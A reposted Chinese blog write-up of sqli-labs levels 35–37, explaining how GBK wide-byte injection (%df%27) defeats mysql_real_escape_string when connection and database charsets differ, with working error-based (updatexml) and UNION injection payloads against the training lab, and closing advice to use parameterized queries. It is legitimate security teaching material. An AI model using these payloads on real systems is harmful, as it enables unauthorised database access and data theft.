“我都用mysql_real_escape_string了,怎么还会被注入?”——sqli-labs35~37通关解析

admin 2026-01-26 14:54:44 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文解析SQLi-Labs第35至37关,演示绕过mysql_real_escape_string的宽字节注入。核心漏洞在于连接字符集与数据库实际解析集不一致,导致转义失效。通过注入%df’等Payload利用字符编码差异闭合引号,成功获取数据。结论指出仅靠转义函数不可靠,需采用预编译语句、统一字符集并杜绝SQL字符串拼接以确保安全。 综合评分: 90 文章分类: WEB安全,渗透测试,CTF,漏洞分析


cover_image

“我都用 mysql_real_escape_string 了,怎么还会被注入?”——sqli-labs35~37通关解析

原创

武文学网安 武文学网安

武文学网安

2026年1月26日 05:42 中国香港

大家好,我是武文。

经过前面的学习,让我们来快速通过这机关。 一、35关

第 35 关有个小坑,如果一直沿用前几关“找闭合”的惯性思维,很容易卡住。这一关其实是在提醒我们:并不是所有注入都依赖引号闭合。 它更像是一个过渡关卡,用来打破“必须闭合才能注入”的心理预期。

?id=1 and 1=1?id=1 and 1=2?id=1 and updatexml(1,concat(0x7e,database(),0x7e),1)

二、36/37关

2.1 整体说明

| 项目 | 说明 | | — | — |

| | | | — | — | | 请求方式 | * 第 36 关:GET * 第 37 关:POST 请求方式不同,但漏洞成因完全一致 |

| | | | — | — | | 页面回显 | 有报错 |

| | | | — | — | | 注入类型 | 显错注入 / UNION |

| | | | — | — | | 防御函数 | mysql_real_escape_string() |

| | | | — | — | | 核心考点 | 字符集不一致导致转义失效 |

| | | | — | — | | 本质问题 | 连接字符集 ≠ 实际解析字符集 |

这两个使用的防御函数是mysql_real_escape_string(),核心功能是对字符串中的特殊字符(如反斜杠、单引号、换行符等)进行转义,确保输入数据在 SQL 语句中安全使用。第 36 与 37 关的区别仅在于请求方式(GET/POST),核心漏洞完全一致,因此放在一起讲。

先说结论:mysql_real_escape_string() 依然不是“银弹”

必须先明确一个事实:mysql_real_escape_string() 比 addslashes() 更“聪明”,但仍然不是安全方案。和 addslashes() 不同,mysql_real_escape_string() 并不是“无脑加反斜杠”, 它的问题不是“不知道多字节”,而是“相信了错误的字符集环境”。

它的安全性高度依赖一个前提条件

👉 数据库连接字符集,与数据库实际解析字符集完全一致

一旦这个前提不成立—— 防御立刻失效。

2.2、mysql_real_escape_string() 到底“强”在哪里?

相比 addslashes(), mysql_real_escape_string() 做了两件更“高级”的事:

  1. 会根据当前连接字符集进行转义
  2. 只转义当前字符集下有风险的字符

例如在 GBK 连接下,它知道:

  • 哪些字节组合是合法字符
  • 哪些字节需要被保护

👉 听起来是不是很安全?

问题恰恰就出在:字符集“是谁说了算”。

2.3 mysql_real_escape_string() 的工作流程

用户输入
   ↓
PHP 调用 mysql_real_escape_string()
   ↓
基于「连接字符集」进行转义
   ↓
SQL 发送给 MySQL
   ↓
MySQL 基于「实际字符集」解析

漏洞出现的条件只有一个:

连接字符集 ≠ MySQL 实际解析字符集


2.4 第 36 / 37 关的关键配置

在这一关中:

  • PHP 连接 MySQL 时:

  • 使用的是 latin1 / utf8

  • MySQL 实际表 / 数据库:

  • 使用的是 GBK

结果就是:

mysql_real_escape_string() 在“错误的字符集假设”下工作

三、绕过原理:宽字节再次登场,但角色变了

在 addslashes() 关卡中,问题是:“它假设一个字符 = 一个字节”

而在 mysql_real_escape_string() 中,问题升级成:“它在错误的字符集语境下判断风险字符”


#

3.1 攻击者构造的核心字节结构

依然是熟悉的套路:


[GBK 高字节] + ‘(0x27)

例如:

%df%27



3.2 转义为何会失败?

这里的关键不是“宽字节有多神奇”, 而是 mysql_real_escape_string 判断风险字符时,站错了字符集立场。假设:

  • 连接字符集:latin1
  • 数据库解析字符集:GBK

PHP 侧(latin1 视角)


0xDF → 普通字符0x27 → 单引号 → 被转义为 \’


结果:


0xDF 0x5C 0x27


MySQL 侧(GBK 视角)


0xDF 0x5C → 一个合法 GBK 汉字0x27      → 单引号


👉 转义再次被“吃掉”

四、第 36 关实战验证

第37关参照从GET到POST:addslashes()绕过的本质突破——sqli-labs 34 关实战

4.1 注入点确认


?id=1        正常?id=1′       报错(被转义)

![](https://mmbiz.qpic.cn/mmbiz_gif/VFf46TKXLVHl7CdHkT8WWKBqACwpGEjxCl61snR5ARlVCJxVicQKuB1Jvhwys27RviaaKzRqqAz7TVMNj9Ff90hQ/640?wx_fmt=gif&from=appmsg#imgIndex=1)

说明:
  • 注入点存在
  • 引号被处理

4.2 宽字节闭合测试


?id=1%df’?id=1%df’ –+

![](https://mmbiz.qpic.cn/mmbiz_gif/VFf46TKXLVHl7CdHkT8WWKBqACwpGEjxodib9TiaYUcmiaEM7Dv2Ic9TOR0ZXgmcsVN79comicHnVW942kmlqRfIVQ/640?wx_fmt=gif&from=appmsg#imgIndex=2)

出现 SQL 语法错误,说明:
  • %df 成功参与解析
  • 单引号重新获得语义

4.3 显错注入

?id=1%df' and updatexml(1,concat(0x7e,database(),0x7e),1)--+

#

页面成功报错并回显数据库名。


4.4 UNION 注入验证


?id=-1%df’ union select 1,2,3–+?id=-1%df’ union select 1,database(),3 –+

![](https://mmbiz.qpic.cn/mmbiz_gif/VFf46TKXLVHl7CdHkT8WWKBqACwpGEjxytjCyyaXU67rf5d656Uo0FxCURyA2fBvoANaqfsqkyltGUAoI9JEGQ/640?wx_fmt=gif&from=appmsg#imgIndex=4)

成功获取数据库信息。

第 36 / 37 关正式通关。

结语

这两关“现实意义极高”?

因为它们揭示了一个非常残酷的事实:就算你用的是“正确的防御函数”,只要字符集配置错了,一切都是白搭。

在真实环境中,这种情况极其常见:

  • 老项目数据库是 GBK
  • 新代码默认 UTF-8 / latin1
  • 没有人检查连接字符集
  • 防御代码“看起来完全没问题”

真正可靠的,只有:

  • 预编译 / 参数化查询
  • 明确、统一的字符集策略
  • 拒绝字符串拼接 SQL

这也是为什么,真正的防御思路从来不是“我用了什么转义函数”,而是: 👉 我是否彻底避免了“字符串拼接 SQL”这个行为本身。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:武文学网安 武文学网安 武文学网安《“我都用 mysqlrealescape_string 了,怎么还会被注入?”——sqli-labs35~37通关解析》

2026AI安全十大预测 网络安全文章

2026AI安全十大预测

文章总结: 文档预测2026年AI安全将面临提示注入、智能体失控及供应链攻击等严峻挑战。企业需建立AI资产清单、纳入AI行为遏制流程并进行持续性安全测试,以应对
评论:0   参与:  0